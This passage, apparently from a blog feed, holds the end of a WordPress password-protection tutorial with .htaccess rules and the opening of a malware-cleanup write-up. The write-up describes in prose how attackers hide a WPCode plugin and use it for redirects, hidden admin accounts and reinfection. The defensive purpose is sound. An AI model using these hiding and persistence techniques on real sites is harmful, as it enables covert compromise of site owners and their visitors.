&lt;strong&gt;Client review portals&lt;/strong&gt; — you’re showing work to a client and want a simple barrier so it doesn’t leak.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Internal company intranets&lt;/strong&gt; — employee resources, internal docs, or HR pages.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Private blogs or family sites&lt;/strong&gt; — content you want to share with specific people, not the world.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Membership / paid content&lt;/strong&gt; — though for this, a real membership plugin is usually a better fit than basic password protection.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each of these has slightly different security needs. A staging site holding production data needs proper server-level protection. A “coming soon” page just needs to keep curious visitors out. Pick the method that matches the threat level.&lt;/p&gt;

&lt;h2&gt;
  
  
  5 Methods to Password Protect Your Entire WordPress Site
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Method 1: Password Protected Plugin (Easiest, Recommended for Most Users)
&lt;/h3&gt;

&lt;p&gt;This is what 90% of users actually need. The free Password Protected plugin (by WPExperts, available at wordpress.org/plugins/password-protected) locks your entire site behind a single password screen.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step-by-step setup:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Log into your WordPress admin dashboard.&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Plugins → Add New&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Search for “Password Protected” by WPExperts.&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Install Now&lt;/strong&gt; , then &lt;strong&gt;Activate&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Settings → Password Protected&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Check the &lt;strong&gt;Password Protected Status&lt;/strong&gt; box to enable.&lt;/li&gt;
&lt;li&gt;Enter and confirm a strong password in the &lt;strong&gt;New Password&lt;/strong&gt; field.&lt;/li&gt;
&lt;li&gt;Optionally check &lt;strong&gt;Allow Administrators&lt;/strong&gt; so you don’t have to enter the password while logged in.&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Save Changes&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Pros:&lt;/strong&gt; Fast, free, no technical knowledge required. Works on any hosting environment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cons:&lt;/strong&gt; Cookie-based, which conflicts with some caching plugins. The REST API and sitemap may still leak content unless you configure them separately (we’ll cover this in the security section below). Not appropriate for sites holding genuinely sensitive data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; Pre-launch sites, client review portals, casual privacy needs.&lt;/p&gt;

&lt;h3&gt;
  
  
  Method 2: HTTP Authentication via .htaccess (Most Secure)
&lt;/h3&gt;

&lt;p&gt;This is the method I recommend for staging sites, dev environments, or anywhere you need real protection. HTTP authentication blocks access at the web server level — before WordPress even loads. That means it also blocks your REST API, sitemap, RSS feed, and every other endpoint without you having to think about it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step-by-step setup (Apache servers):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Generate a password hash.&lt;/strong&gt; You need an encrypted version of your password to put in a special &lt;code&gt;.htpasswd&lt;/code&gt; file. The easiest way: use a free online &lt;code&gt;.htpasswd&lt;/code&gt; generator (search “htpasswd generator”), or run this command if you have SSH access:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;htpasswd &lt;span class="nt"&gt;-c&lt;/span&gt; /home/your-username/.htpasswd your-chosen-username
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This creates a &lt;code&gt;.htpasswd&lt;/code&gt; file in the path you specify. The file will contain one line that looks something like &lt;code&gt;admin:$apr1$abc123...&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Place the .htpasswd file outside your public directory.&lt;/strong&gt; Critical: if you put it inside &lt;code&gt;/public_html/&lt;/code&gt;, anyone could potentially download it. Put it in your home directory or one level above the web root.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Add this to your .htaccess file&lt;/strong&gt; (in your WordPress root, before the WordPress block):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="nc"&gt;AuthType&lt;/span&gt; &lt;span class="ss"&gt;Basic&lt;/span&gt;
&lt;span class="nc"&gt;AuthName&lt;/span&gt; "Restricted Site"
&lt;span class="nc"&gt;AuthUserFile&lt;/span&gt; /home/your-username/.htpasswd
&lt;span class="nc"&gt;Require&lt;/span&gt; valid-user

&lt;span class="c"&gt;# Allow admin-ajax.php for plugin/theme functionality&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nl"&gt;Files&lt;/span&gt;&lt;span class="sr"&gt; "admin-ajax.php"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="nc"&gt;Order&lt;/span&gt; allow,deny
    &lt;span class="nc"&gt;Allow&lt;/span&gt; &lt;span class="ss"&gt;from&lt;/span&gt; &lt;span class="ss"&gt;all&lt;/span&gt;
    &lt;span class="nc"&gt;Satisfy&lt;/span&gt; &lt;span class="ss"&gt;any&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nl"&gt;Files&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Replace &lt;code&gt;/home/your-username/.htpasswd&lt;/code&gt; with the actual full path to your &lt;code&gt;.htpasswd&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Test it.&lt;/strong&gt; Visit your site in a private/incognito window. You should get a browser-level password prompt before WordPress loads. If you don’t, double-check the file path is correct.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pros:&lt;/strong&gt; Strongest protection. Works at the server level, so REST API, RSS, XML-RPC, and sitemaps are all locked down automatically. No plugin overhead. Doesn’t conflict with caching.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cons:&lt;/strong&gt; Requires file system access (cPanel, FTP, or SSH). The browser prompt looks ugly compared to a styled login page. Not ideal for client-facing or marketing pages.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; Staging sites, dev environments, internal tools, or anywhere security genuinely matters.&lt;/p&gt;

&lt;h3&gt;
  
  
  Method 3: Use Your Hosting Provider’s Built-In Tool
&lt;/h3&gt;

&lt;p&gt;If you’re on managed WordPress hosting like Kinsta, WP Engine, Cloudways, or SiteGround, you may already have a one-click password protection tool in your hosting dashboard. These tools typically use HTTP authentication under the hood — they’re just doing the &lt;code&gt;.htaccess&lt;/code&gt; work for you.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How to find it:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Kinsta:&lt;/strong&gt; MyKinsta → Sites → your site → Tools → Password Protection (htpasswd)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WP Engine:&lt;/strong&gt; User Portal → your environment → Utilities → Password Protect&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SiteGround:&lt;/strong&gt; Site Tools → Security → Protected URLs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;cPanel-based hosts (Bluehost, HostGator, etc.):&lt;/strong&gt; cPanel → Directory Privacy → select your folder&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One important note: hosting-level password protection often disables CDN caching for the protected site. That’s actually a feature, not a bug — you don’t want a CDN serving cached copies of a “private” site to random visitors.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pros:&lt;/strong&gt; One-click setup. Same security level as the manual &lt;code&gt;.htaccess&lt;/code&gt; method.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cons:&lt;/strong&gt; Only works if your host offers it. Implementation varies by host.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; Anyone on managed WordPress hosting who wants &lt;code&gt;.htaccess&lt;/code&gt;-level security without touching a config file.&lt;/p&gt;

&lt;h3&gt;
  
  
  Method 4: Coming Soon / Maintenance Mode Plugin
&lt;/h3&gt;

&lt;p&gt;If your goal is “show a friendly coming soon page to visitors but let me work behind the scenes,” a maintenance mode plugin is a better fit than raw password protection. Popular options: SeedProd, Coming Soon Page &amp;amp; Maintenance Mode by SeedProd, WP Maintenance Mode, or LightStart.&lt;/p&gt;

&lt;p&gt;These plugins replace your front-end with a single landing page (which can include a password form, an email signup, social links, etc.) while you continue working in the admin. They’re designed for marketing-style soft launches, not security.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pros:&lt;/strong&gt; Looks professional. Good for collecting emails before launch. Easy to customize.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cons:&lt;/strong&gt; Not really a security measure — primarily a presentation layer. Same caching and REST API caveats as Method 1.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; Pre-launch marketing pages where you want to show &lt;em&gt;something&lt;/em&gt; public-facing rather than a stark password prompt.&lt;/p&gt;

&lt;h3&gt;
  
  
  Method 5: Membership Plugin for Multi-User Private Sites
&lt;/h3&gt;

&lt;p&gt;If different people need different levels of access — paying members, free subscribers, internal staff — basic password protection isn’t the right tool. Use a membership plugin like Members (free), MemberPress, Restrict Content Pro, or Paid Memberships Pro. These let you create user accounts with roles and gate content based on who’s logged in.&lt;/p&gt;

&lt;p&gt;This is overkill for most “I just want to lock the site” situations, but the right answer if you’re running anything resembling a paid community.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pros:&lt;/strong&gt; Per-user accounts, granular permissions, often paid-content support.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cons:&lt;/strong&gt; Complex setup. Overkill for simple use cases.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; Membership sites, private communities, and gated content businesses.&lt;/p&gt;

&lt;h2&gt;
  
  
  Which Method Should You Use? Quick Comparison
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;Security Level&lt;/th&gt;
&lt;th&gt;Setup Difficulty&lt;/th&gt;
&lt;th&gt;Best For&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Password Protected plugin&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Easy (5 min)&lt;/td&gt;
&lt;td&gt;Pre-launch, client review&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;.htaccess HTTP auth&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Highest&lt;/td&gt;
&lt;td&gt;Medium (15 min)&lt;/td&gt;
&lt;td&gt;Staging, dev, real privacy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hosting provider tool&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Highest&lt;/td&gt;
&lt;td&gt;Easiest (1 min)&lt;/td&gt;
&lt;td&gt;Managed hosting users&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Coming soon plugin&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low–Medium&lt;/td&gt;
&lt;td&gt;Easy (10 min)&lt;/td&gt;
&lt;td&gt;Marketing pre-launch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Membership plugin&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Complex (1–2 hrs)&lt;/td&gt;
&lt;td&gt;Multi-user private sites&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Security Pitfalls Most Tutorials Miss
&lt;/h2&gt;

&lt;p&gt;This is where most password-protection guides fall short — and where I see real problems on client sites. Plugin-based password protection blocks the front-end of your site, but WordPress has a lot of other doors. If you’re using Method 1, 4, or 5, you need to close these too:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. The REST API can leak your “private” content
&lt;/h3&gt;

&lt;p&gt;WordPress exposes content through &lt;code&gt;/wp-json/wp/v2/posts&lt;/code&gt;, &lt;code&gt;/wp-json/wp/v2/pages&lt;/code&gt;, and similar endpoints. Anyone who knows to visit those URLs can often read your posts and pages even with sitewide password protection enabled. The Password Protected plugin disables REST API access by default in newer versions, but always test it. Visit &lt;code&gt;yoursite.com/wp-json/wp/v2/posts&lt;/code&gt; in a private window and confirm you get an authentication error, not a list of your content.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. The sitemap.xml stays public
&lt;/h3&gt;

&lt;p&gt;If you have an SEO plugin like Yoast or Rank Math active, your sitemap at &lt;code&gt;/sitemap.xml&lt;/code&gt; or &lt;code&gt;/sitemap_index.xml&lt;/code&gt; may still be accessible — exposing every URL on your “private” site. Either disable the SEO plugin temporarily, or better yet, use Method 2 (&lt;code&gt;.htaccess&lt;/code&gt;) which blocks everything.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. RSS feeds bypass password screens
&lt;/h3&gt;

&lt;p&gt;Visiting &lt;code&gt;yoursite.com/feed/&lt;/code&gt; often returns your post content directly, password protection or not. Most plugin-based methods don’t address this. Server-level protection (Method 2 or 3) does.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Cached versions remain accessible
&lt;/h3&gt;

&lt;p&gt;If you had public content indexed before enabling password protection, cached copies may still be served by Google’s cache, the Wayback Machine, or your own CDN. Clear your CDN cache and submit a removal request to Google Search Console if you’re trying to make previously public content private.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. XML-RPC stays open
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;xmlrpc.php&lt;/code&gt; endpoint is a common attack vector and isn’t blocked by most password-protection plugins. If you don’t actively use XML-RPC (most sites don’t), block it entirely with this rule in your &lt;code&gt;.htaccess&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nl"&gt;Files&lt;/span&gt;&lt;span class="sr"&gt; xmlrpc.php&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="nc"&gt;Order&lt;/span&gt; Deny,Allow
    &lt;span class="nc"&gt;Deny&lt;/span&gt; &lt;span class="ss"&gt;from&lt;/span&gt; &lt;span class="ss"&gt;all&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nl"&gt;Files&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6. wp-login.php remains exposed to brute force
&lt;/h3&gt;

&lt;p&gt;Plugin-based site protection usually leaves the WordPress login page (&lt;code&gt;/wp-login.php&lt;/code&gt;) accessible to attackers. Even if your front-end is locked, bots can still hammer your login. I always recommend pairing site-wide password protection with login-specific hardening — see my &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/how-to-secure-wordpress-login-15-practical-ways-to-protect-wp-admin-4m00-temp-slug-7658948"&gt;WordPress login security guide&lt;/a&gt; and &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/change-wordpress-login-url-wps-hide-login-tutorial-2025-guide-2dda"&gt;how to change the WordPress login URL&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The fundamental rule: &lt;strong&gt;plugin-based password protection blocks the front-end. Server-level protection blocks everything.&lt;/strong&gt; Choose accordingly based on what you’re actually protecting.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Hide a Password-Protected Site from Google
&lt;/h2&gt;

&lt;p&gt;Password-protecting a site doesn’t automatically remove it from Google. If you’re locking down a site that was previously public, or you want to be sure search engines never index it, do this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Enable “Discourage search engines from indexing this site”&lt;/strong&gt; in &lt;strong&gt;Settings → Reading&lt;/strong&gt;. This adds a &lt;code&gt;noindex&lt;/code&gt; meta tag and updates &lt;code&gt;robots.txt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Manually edit your &lt;code&gt;robots.txt&lt;/code&gt;&lt;/strong&gt; to add &lt;code&gt;Disallow: /&lt;/code&gt; if you want a stronger signal.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Submit a removal request&lt;/strong&gt; in Google Search Console under &lt;strong&gt;Removals → Temporary removals&lt;/strong&gt; for any URLs already indexed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Clear your CDN cache&lt;/strong&gt; so cached versions stop being served.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;If using Method 2 or 3 (HTTP auth)&lt;/strong&gt;, this happens automatically — Google’s crawlers can’t get past the password prompt.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you’re using Method 1 (Password Protected plugin) for a previously-public site, expect Google to take 1–2 weeks to drop the cached versions completely.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Test That Your Password Protection Actually Works
&lt;/h2&gt;

&lt;p&gt;Here’s a quick test I run on every site I lock down. Open a private/incognito browser window and try each of these URLs. &lt;strong&gt;You should get a password prompt or 401/403 error on every single one&lt;/strong&gt; :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;yoursite.com&lt;/code&gt; — homepage&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;yoursite.com/sample-post&lt;/code&gt; — any individual post&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;yoursite.com/wp-json/wp/v2/posts&lt;/code&gt; — REST API&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;yoursite.com/feed/&lt;/code&gt; — RSS feed&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;yoursite.com/sitemap.xml&lt;/code&gt; or &lt;code&gt;/sitemap_index.xml&lt;/code&gt; — sitemap&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;yoursite.com/wp-login.php&lt;/code&gt; — login page (should still be accessible if using a plugin, blocked if using &lt;code&gt;.htaccess&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;yoursite.com/xmlrpc.php&lt;/code&gt; — should return blocked or auth required&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If any of these returns content without a password prompt, your protection has a hole. With Method 2 (&lt;code&gt;.htaccess&lt;/code&gt;), all of these get blocked at the server level. With Method 1 (plugin), you may need to manually close the leakage points listed in the Security Pitfalls section.&lt;/p&gt;

&lt;h2&gt;
  
  
  Troubleshooting Common Issues
&lt;/h2&gt;

&lt;h3&gt;
  
  
  “My password protection plugin keeps logging me out”
&lt;/h3&gt;

&lt;p&gt;This is almost always a caching conflict. Plugins like W3 Total Cache, WP Rocket, or your host’s edge cache are caching the unprotected version of pages. Clear your cache, then go to your caching plugin settings and add the password protection cookie to the “Don’t Cache” list. The Password Protected plugin’s documentation has specific instructions for major caching plugins.&lt;/p&gt;

&lt;h3&gt;
  
  
  “The .htaccess method broke my admin”
&lt;/h3&gt;

&lt;p&gt;Make sure you included the &lt;code&gt;admin-ajax.php&lt;/code&gt; exception (shown in the Method 2 code block above). Without it, plugins and themes that rely on AJAX requests will break. Some sites also need to whitelist &lt;code&gt;wp-cron.php&lt;/code&gt; if you’re using server cron.&lt;/p&gt;

&lt;h3&gt;
  
  
  “I’m getting a redirect loop”
&lt;/h3&gt;

&lt;p&gt;Usually caused by a conflict between your password plugin and a caching layer or a CDN. Try: clear all caches → disable your caching plugin → disable Cloudflare or your CDN → test again. Re-enable one at a time to find the culprit.&lt;/p&gt;

&lt;h3&gt;
  
  
  “My .htpasswd file isn’t being recognized”
&lt;/h3&gt;

&lt;p&gt;The most common cause is an incorrect path. The path in &lt;code&gt;.htaccess&lt;/code&gt; must be the full server path, not a relative path. Ask your host for the absolute path to your home directory if you’re not sure. On many hosts it looks like &lt;code&gt;/home/username/.htpasswd&lt;/code&gt; or &lt;code&gt;/var/www/users/username/.htpasswd&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  “I forgot the password and locked myself out”
&lt;/h3&gt;

&lt;p&gt;For plugin-based methods: connect via FTP/SFTP and rename the plugin folder in &lt;code&gt;/wp-content/plugins/&lt;/code&gt; to deactivate it. You can then log into &lt;code&gt;/wp-admin/&lt;/code&gt; normally and reset.&lt;/p&gt;

&lt;p&gt;For &lt;code&gt;.htaccess&lt;/code&gt; methods: use FTP to download your &lt;code&gt;.htaccess&lt;/code&gt;, remove the auth lines, and re-upload. Then regenerate your &lt;code&gt;.htpasswd&lt;/code&gt; file with a new password.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQs: Password Protect Entire WordPress Site
&lt;/h2&gt;

&lt;h3&gt;
  
  
  How do I password protect an entire WordPress site?
&lt;/h3&gt;

&lt;p&gt;The fastest method is to install the free Password Protected plugin from WordPress.org, activate it, go to Settings → Password Protected, enable protection, and set a password. For stronger security on staging or dev sites, use HTTP authentication via your &lt;code&gt;.htaccess&lt;/code&gt; file or your hosting provider’s built-in password protection tool.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I password protect a WordPress site without a plugin?
&lt;/h3&gt;

&lt;p&gt;Yes. Use HTTP authentication via &lt;code&gt;.htaccess&lt;/code&gt; (Method 2 above), or use your hosting provider’s built-in directory protection tool. Both methods are more secure than plugin-based protection because they block access at the server level before WordPress loads.&lt;/p&gt;

&lt;h3&gt;
  
  
  Will password protecting my site hurt SEO?
&lt;/h3&gt;

&lt;p&gt;If your site is already public and ranking, adding sitewide password protection will cause Google to drop your rankings — because Google can’t crawl a password-protected site. For sites that aren’t yet ranking (staging, pre-launch), there’s no SEO impact. If you only want to block search engines while still allowing direct visitors, just enable “Discourage search engines” in Settings → Reading instead of full password protection.&lt;/p&gt;

&lt;h3&gt;
  
  
  Does password protection work with caching plugins?
&lt;/h3&gt;

&lt;p&gt;Plugin-based password protection often conflicts with caching because cached pages are served before the password check runs. You’ll need to add the protection cookie to your caching plugin’s exclusion list. HTTP authentication (Method 2) doesn’t have this problem because it runs before any caching.&lt;/p&gt;

&lt;h3&gt;
  
  
  Is the WordPress built-in “Password Protected” visibility option enough?
&lt;/h3&gt;

&lt;p&gt;No — that built-in option only protects individual posts or pages, not your entire site. To lock down everything, you need one of the methods covered in this guide.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can search engines see password-protected WordPress content?
&lt;/h3&gt;

&lt;p&gt;With server-level protection (HTTP auth), no — search engines get the same password prompt as any visitor. With plugin-based protection, search engines may still access content through the REST API, RSS feeds, or sitemap unless those are also blocked. Always test with the URL list in the “How to Test” section.&lt;/p&gt;

&lt;h3&gt;
  
  
  How secure is password protection for sensitive data?
&lt;/h3&gt;

&lt;p&gt;For genuinely sensitive data (medical records, financial info, customer PII), basic password protection is not enough. You need user accounts with proper authentication, encrypted data at rest, HTTPS everywhere, role-based access control, and ideally two-factor authentication. Single-password sitewide protection is appropriate for “keep curious people out” scenarios — not for data that would matter if leaked.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I password protect my WordPress admin area only?
&lt;/h3&gt;

&lt;p&gt;Yes — apply the &lt;code&gt;.htaccess&lt;/code&gt; method to just the &lt;code&gt;/wp-admin/&lt;/code&gt; directory instead of the whole site. This adds a second authentication layer in front of your normal WordPress login. See my guide on &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/how-to-secure-wordpress-login-15-practical-ways-to-protect-wp-admin-4m00-temp-slug-7658948"&gt;securing the WordPress login&lt;/a&gt; for details.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Bottom Line
&lt;/h2&gt;

&lt;p&gt;For most use cases, the Password Protected plugin will get you 90% of the way there in five minutes. If you’re protecting a staging site, anything with sensitive data, or you just want to do this right, use server-level HTTP authentication — either by editing &lt;code&gt;.htaccess&lt;/code&gt; directly or by using your hosting provider’s built-in tool. Both options block access before WordPress loads, which closes the REST API, sitemap, and RSS leakage points that plugin-based methods leave open.&lt;/p&gt;

&lt;p&gt;Whatever method you pick, run the URL test in the “How to Test” section before assuming you’re done. I’ve cleaned up a lot of “password-protected” sites where the password protection turned out to be cosmetic — the front-end was locked but the REST API was happily serving up the entire post archive to anyone who asked. Don’t let that be your site.&lt;/p&gt;

&lt;p&gt;For a broader picture of WordPress security beyond password protection, see my guides on &lt;a href="https://www.mdpabel.com/blog/are-wordpress-websites-secure/" rel="noopener noreferrer"&gt;whether WordPress websites are secure&lt;/a&gt;, &lt;a href="https://www.mdpabel.com/blog/how-to-secure-a-wordpress-site/" rel="noopener noreferrer"&gt;how to secure a WordPress site&lt;/a&gt;, and &lt;a href="https://dev.to/md_pabel_fe07e07449db7326/wordpress-security-tips-keep-your-site-safe-in-2025-42pp"&gt;essential WordPress security tips&lt;/a&gt;. If your site has been compromised and you need help cleaning it up, I offer &lt;a href="https://www.mdpabel.com/wordpress-malware-removal/" rel="noopener noreferrer"&gt;professional WordPress malware removal&lt;/a&gt; — or &lt;a href="https://www.mdpabel.com/hire-me/" rel="noopener noreferrer"&gt;contact me directly&lt;/a&gt; for a security audit.&lt;/p&gt;

</description>
      <category>security</category>
      <category>tutorial</category>
      <category>webdev</category>
      <category>wordpress</category>
    </item>
    <item>
      <title>WPCode Malware: How I Removed a Hidden WPCode Plugin That Was Redirecting a Client&amp;#8217;s WordPress Site</title>
      <dc:creator>MD Pabel</dc:creator>
      <pubDate>Wed, 20 May 2026 03:50:32 +0000</pubDate>
      <link>https://dev.to/md_pabel_fe07e07449db7326/wpcode-malware-how-i-removed-a-hidden-wpcode-plugin-that-was-redirecting-a-client8217s-3l6a</link>
      <guid>https://dev.to/md_pabel_fe07e07449db7326/wpcode-malware-how-i-removed-a-hidden-wpcode-plugin-that-was-redirecting-a-client8217s-3l6a</guid>
      <description>&lt;p&gt;A client messaged me last week with a familiar problem: his WordPress site was redirecting every visitor to a random Cloudflare Pages URL. Sucuri SiteCheck said his site was clean. Wordfence had found nothing. He was about to lose his Monday’s sales.&lt;/p&gt;

&lt;p&gt;The culprit was the &lt;strong&gt;WPCode plugin&lt;/strong&gt; — except he had never installed it. Someone else had, then hidden it from his dashboard, then dropped a 7,000-character PHP snippet into it that was redirecting his traffic to scam pages. This is the WPCode malware infection, and in 2026 it’s one of the most common WordPress hacks I see. Here’s the full cleanup, from first symptom to root cause.&lt;/p&gt;

&lt;h3&gt;
  
  
  Quick Answer
&lt;/h3&gt;

&lt;p&gt;WPCode malware is a WordPress infection where attackers silently install the WPCode (Insert Headers and Footers) plugin on your site, drop a malicious PHP snippet inside it set to run “everywhere,” and then hide the plugin from your WordPress dashboard so you can’t find it. The snippet typically redirects logged-out visitors to spam, scam, or pages.dev URLs, creates hidden admin users, and reinfects after deletion. To find it: count the folders inside &lt;code&gt;wp-content/plugins/&lt;/code&gt; and compare to the &lt;strong&gt;All (X)&lt;/strong&gt; count on your Plugins page. If they don’t match, WPCode is almost always one of the hidden plugins. &lt;/p&gt;

&lt;h2&gt;
  
  
  What is WPCode malware?
&lt;/h2&gt;

&lt;p&gt;WPCode itself is a legitimate plugin. It’s installed on over 2 million WordPress sites under its full name “WPCode — Insert Headers and Footers + Custom Code Snippets” (folder slug &lt;code&gt;insert-headers-and-footers&lt;/code&gt;, main file &lt;code&gt;ihaf.php&lt;/code&gt;). It lets developers add PHP, JavaScript, and CSS snippets without editing theme files. There’s nothing wrong with the plugin.&lt;/p&gt;

&lt;p&gt;The problem is that WPCode has become the favorite delivery vehicle for a long-running malware campaign that security researchers at GoDaddy named &lt;strong&gt;DollyWay&lt;/strong&gt;. The attackers compromise a site through any available entry point — an outdated plugin, a weak admin password, a vulnerable theme — and then use that initial foothold to do four things:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Silently install WPCode if it isn’t already present, fetching the plugin directly from the WordPress.org SVN repository so the source looks legitimate.&lt;/li&gt;
&lt;li&gt;Create one or more PHP snippets inside WPCode with the execution scope set to “everywhere,” meaning they run on every page load.&lt;/li&gt;
&lt;li&gt;Hook the WordPress &lt;code&gt;all_plugins&lt;/code&gt; filter to hide WPCode from the Plugins page, hide its admin menu, and suppress its update notices.&lt;/li&gt;
&lt;li&gt;Use those snippets to fetch redirect URLs from a command-and-control server, create hidden admin users on demand via cookie commands, and reinfect the site if any single piece is removed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you’ve reached this page because you’ve found WPCode on a site you never installed it on — or because you found a snippet inside WPCode that you didn’t write — this is what you’re looking at. The next sections walk through the actual cleanup I ran last week on a live client site, so you can see what to look for and what to do.&lt;/p&gt;

&lt;h2&gt;
  
  
  The first symptom: the site was redirecting, but every scanner said it was clean
&lt;/h2&gt;

&lt;p&gt;The client’s first message included a screenshot of his Sucuri SiteCheck report — two green checkmarks, “No Malware Found, Site is not Blacklisted.” He’d also run Wordfence’s free scanner. Same result. And yet every time he opened his homepage in an incognito window, he landed somewhere else.&lt;/p&gt;

